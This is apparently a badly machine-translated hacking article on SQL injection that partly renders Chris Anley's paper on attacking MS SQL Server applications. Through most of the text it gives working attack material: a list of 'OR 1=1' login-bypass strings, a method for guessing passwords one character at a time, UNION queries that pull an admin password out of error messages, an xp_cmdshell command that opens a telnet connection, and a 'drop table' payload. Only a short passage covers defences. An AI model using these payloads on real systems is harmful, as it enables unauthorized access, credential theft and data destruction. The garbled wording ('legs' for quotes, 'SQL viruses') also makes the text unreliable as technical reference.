How can we get the tribute we need? String input parameter

SQL Injection dosit is a good opportunity for a hacker to remove
access to the server. І with small zusilli, vin
I'll take it away anyway 🙂

Coder inside

We are currently working on databases
Practically all languages ​​can be programmed, including BASIC, C++, Java, PERL, PHP, Assembler and JavaScript! And these programs are called nothing more than DBMS - database management systems. Most often, the data base is used for the development of financial tasks,
accounting, personnel management, and their stagnation were also found on the Internet.

Databases are often used for writing WEB supplements. They are the best choice for saving purposes for registering registration data, session IDs, organizing searches, and other tasks that require processing more
a lot of data. For upgrading to the database, server technologies are used: PHP, PERL, ASP, etc. This is where things start to get better. When on the server
All patches are installed, and the firewall blocks all ports except 80, or if authentication is required to access any data, an evil hacker can exploit SQL Injection. The essence of this attack lies in the attack on WEB technology and SQL. On the right in what is rich web pages to process the data of the koristuvach, form a special SQL washed down to the database. If you use this technique carefully, you can get better results...

SQL Injection

To explain the attack, it is clear that you go to the site in order to attract one very important tool and sadly note that you can only get registered accounts, and registration, of course, costs pennies 🙂 I don’t want to give away the remaining earnings, but without programs there’s no way! Now is the time to tell fortunes about those
search databases SQL. For example, checking your login and password in PHP may look like this:

$Result = mysql_db_query($db, "SELECT * FROM $table WHERE user="$login"AND
pass = "$password" ");
$num_rows = mysql_num_rows($result);
mysql_close($link);
if($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

I added two comments, “AUTHENTICATION OK” - guilty instead
Enter the code that will appear in this section, since your password and login will be returned. Another “AUTHENTICATION ERROR” is the place where the code will be described, which will indicate its various incorrectness. Once you fill out the form, it will appear similar to “http://www.server.com?login=user&password=31337”, where www.server.com is named
server to which we are asked to connect. We knew that they were joking, and at this sign we will turn to work SQL. Also, if you are required to enter your login and password for authorization, then SQL Matima asked this look:

SELECT * FROM users WHERE login = "user" AND
password = "31337"

This means that soon: change all records from the users database for which the login is “user” and the password is “31337”. If there is such a record, it means the registration officer, but if not, then not... But for the sake of simplicity, everything can be corrected. The situation is serious if the program does not check the transmission of data or checks in full for the presence of SQL instructions. In this application, there are two fields login and password, but in the password field enter “31337 'AND email =' [Email protected]"(Without the legs), then it will be a little bit different:

SELECT * FROM users WHERE login = "user" AND password = "31337" AND
email = " [Email protected]"

And every time the email field is created, it will also be verified. If you understand the basics of Boolean algebra, then it comes to mind that in addition to the operation “and” there is also “or”, and the rest of them are supported by SQL, it is possible more
We will describe the way to add the mind that always turns the truth. To do this, you need to enter “user 'OR 1 = 1” in the login, in this case you will see:

SELECT * FROM users WHERE login = "user" OR 1 = 1-- "AND
password = "31337"

For starters, you should know that “-” means the end of a statement, and everything after “-”
you won't look at it! Come out, we have earned money and asked:

SELECT * FROM users WHERE login = "user" OR 1 = 1

As you know, we added “1 = 1”, which means the verification criterion will be “either the login is 'user’ or 1 = 1”, and 1 will always be equal to 1 (the culprit may be Dani Shepovalov’s arithmetic :)). To verify our suspicions
Enter “http://www.server.com?login=user or 1 = 1 & password = 31337” in the address bar. This means that the login we entered does not play a role, but
Here's the password! And in the matrix... oh, in the system, we can calmly download what we need.

But it's all in theory. In practice, it is unknown to us how the request is formed, what data is transmitted and in what sequence. Therefore, you need to specify “user 'OR 1 = 1” for all fields. You should also check the submission form for the presence of received fields. In HTML the stench is described as " " If so, save this page and change the values ​​of these fields. Values ​​placed in them often forget to check the validity of SQL statements. If everything requires a trace in the form (tag “FORM”) for the “ACTION” parameter, enter the next path to the script that compiles this request.

Ale do not forget the same way as the formations will be washed down,
This butt can be formed in the following ways:

SELECT * FROM users WHERE (login = "user" AND password = "31337")
SELECT * FROM users WHERE login = "user" AND password = "31337"
SELECT * FROM users WHERE login = user AND password = 31337

In this situation, you can try the following options:

'OR 1 = 1
»OR 1 = 1
OR 1 = 1
'OR' a '=' a
»OR« a »=» a
') OR (' a '=' a
OR '1' = '1'

Everything depends on the meaning of the script and the programmer. Since every human being has the power to work in his own way, it is entirely possible that the program you choose is not the simplest option. There is no trace of that
Give up if you are taking away your wife. necessary
try out more options...

Password detection

It’s bad to bypass authorization, but often the door that you are vikorist closes, and everything that was for you is wasted.
Whose trace was to be found, since the programmer is not a fool
It will cover all the holes. In such situations, you can easily get around to it later by adding more information about it. For the right decision-makers, guessing the password can help.
analysis of authentication results. First, let's try to guess the password, for which we enter the following:

'OR password>' a

To give us confirmation that authorization has been completed, the password means
does not begin with the letter “a”, but with the letter “a”, but with the letters following the list. Collapses further and is presented
place "a", also "b", "c", "d", "e" ... etc. They won't tell us yet that the password is incorrect. Let the whole process begin with the symbol “x”, in this case there are two options for developing the situation: the password is found or the password begins with this symbol. To check the first option, write in the password location:

'OR password =' ​​x

And if the password was accepted and you were let in, it means you guessed the password! Well, no, then next select another symbol,
in the same way, from the cob. For two characters, check
it just needs to be the same. I'm sorry, you're giving up your password, and you're trying to figure out your login 🙂
Once you have found your password and login, you can’t figure it out, but you can find out others. To do this, you need to start checking with the remaining character of the found password. So, if the password is “xxx”, it is necessary to verify the password
"Xxy":

'OR password='xxx

So you don’t miss out on more than one option!

MS SQL Server

MS SQL Server failed to detect that necessary filtering was missing. The vulnerability of SQL Injection can be disabled
command on to a remote server for further help exec master..xp_cmdshell. Ale to vikoristuvat this design
it is necessary to complete the SELECT operation. In SQL, instructions are separated by dots. To connect to a given IP via Telnet, you need to enter the password/login:

"; Exec master..xp_cmdshell" telnet 192.168.0.1 "-

MS SQL Server has many more features that allow you to recognize logins and passwords that are saved in the database. For which notifications about the benefits are redirected to another server and through them
The analysis can identify the name of the table, fields and their types. After what can I ask?

'UNION SELECT TOP 1 login FROM users-

(Login field names are login, and users are table names,
learning in the process of pardon analysis).

The answer may come:


Syntax error converting the nvarchar value "(! LANG: admin" to a column of data type int. !} !}
/default.asp, line 27

Now we know that there is a correspondent under the name “admin”. Now we can retrieve your password:

'UNION SELECT TOP 1 password FROM users where login =' admin'-

result:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "(! LANG: xxx" to a column of data type int. !} !}
/tedault.asp, line 27

Now we know that the login account is “admin” with the password “xxx”. You can say it politely
speed up and get into the system 😉

There are also a lot of other functions available for working with SQL,
When working with a database, you can also delete data, modify it, insert your own data, and manipulate files and access the registry.
Zagalom, SQL Server - rule :)

zachist

All of this is naturally unique. For whom can I
speed up the filters,
nadanimi virobniki. You can know your decisions, for example, replace all single
folded legs (for SQL I ask you to ask for single ones), or inadvertently. You can only select the letters i from @ tanks, depending on how you need to enter them
email addresses. And in Perla there is wonder
function 🙂 quote () in the DBI :: DBD module, which successfully runs your query safely up to date SQL. There are a lot of solutions, you just need them
speed up. Otherwise, everything is the same...

This work is a translation of part of the work by Chris Anley Advanced SQL Injection In SQL Server Applications. ()
In the upcoming articles, if the time is right, this translation will be completed until the end.

P.S. The translation will be more useful for light and historical purposes.

Original title of the article: Inserted SQL-in'ektsii in appendices to vikorist language SQL.

abstract

This article discusses the hidden methods of “SQL injection” for the various platforms Microsoft Internet Information Server / Active Server Pages / SQL Server. It discusses various options for SQL injection in the appendices and explains data verification methods, as well as the protection of databases in which there may be SQL injections.

Enter

Structured Query Language (SQL) is a structured language that is used to interact with databases. There are many “dialects” of the SQL language, but today, mostly all of them are based on the SQL-92 standard, one of the earlier ANSI standards. The main operational block of SQL is a query, which is a set of expressions that means rotating a set of results (result set). SQL viruses can change the structure of databases (Vikorist data manipulation viruses - DLL) and manage their storage (Vikorist data manipulation viruses - DML). In this work, we will look at transact-SQL, which is developed in Microsoft SQL Server.

SQL injections are possible in that an attacker can insert their SQL code into a query to manipulate the data that is sent to the appendix.

Initially, the SQL virus looks like the next step:

Select id, forename, surname from authors

This takes "id", "forename" and "surname" from the columns of the "authors" table and rotates all rows in the table. The vibe can be surrounded by a song “author”, for example:

Select id, forename, surname from authors where forename = "john" and surname = "smith"

It is necessary to note that in this sentence the row literals are separated single foot. It is transferred that "forename" and "surrname" are the data as entered by the client. In this form, the evil person will be able to add the authoritative SQL-query, and will then add the authoritative value to the addendum. for example:

Forename: jo "hn Surname: smith

Todi Viraz accept the offensive look:

Select id, forename, surname from authors where forename = "jo" hn "and surname = "smith"

When the database tries to process a query like this, it will display the following error:

Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near "hn".

The reason for the grinding will be due to the fact that a single foot has been introduced, sealing the structure of the separators in the wash. Thus, the database will unsuccessfully try to remove the “hn” command, which will lead to death. In case the attacker enters the following information into the form:

Forename: jo "; drop table authors-- Surname:

The "authors" table will be visible, which we will look at later.

You may wonder if we will remove individual legs from the injection form, as well as “replace” them, which may solve our problem. And you will be right, however, there are several problems with any method of solving this problem. First of all, not all information is entered in “rows” (strings). For a writer, the form will represent the “id” of the author, which is called a number. For example, our captain can look at the upcoming order:

Select id, forename, surname from authors where id = +1234

In this situation, an attacker can easily add any SQL virus to the numerical data. In other types of SQL queries, different delimiters are used. For example, in Microsoft Jet DBMS the delimiter is the "#" symbol. In other words, “escaping” single legs is not at all the simplest way to kill, as it can give up. We'll talk about these in more detail later.

Let's look at the login page based on Active Server Pages (ASP), which uses additional SQL to deny access to the database in order to authorize the client in any way.

We will enter the side code to place the login form in which to enter the username and password.

Login Page

Login

Username:
Password:

Below is the code (process_login.asp), which means that the data entered is correct.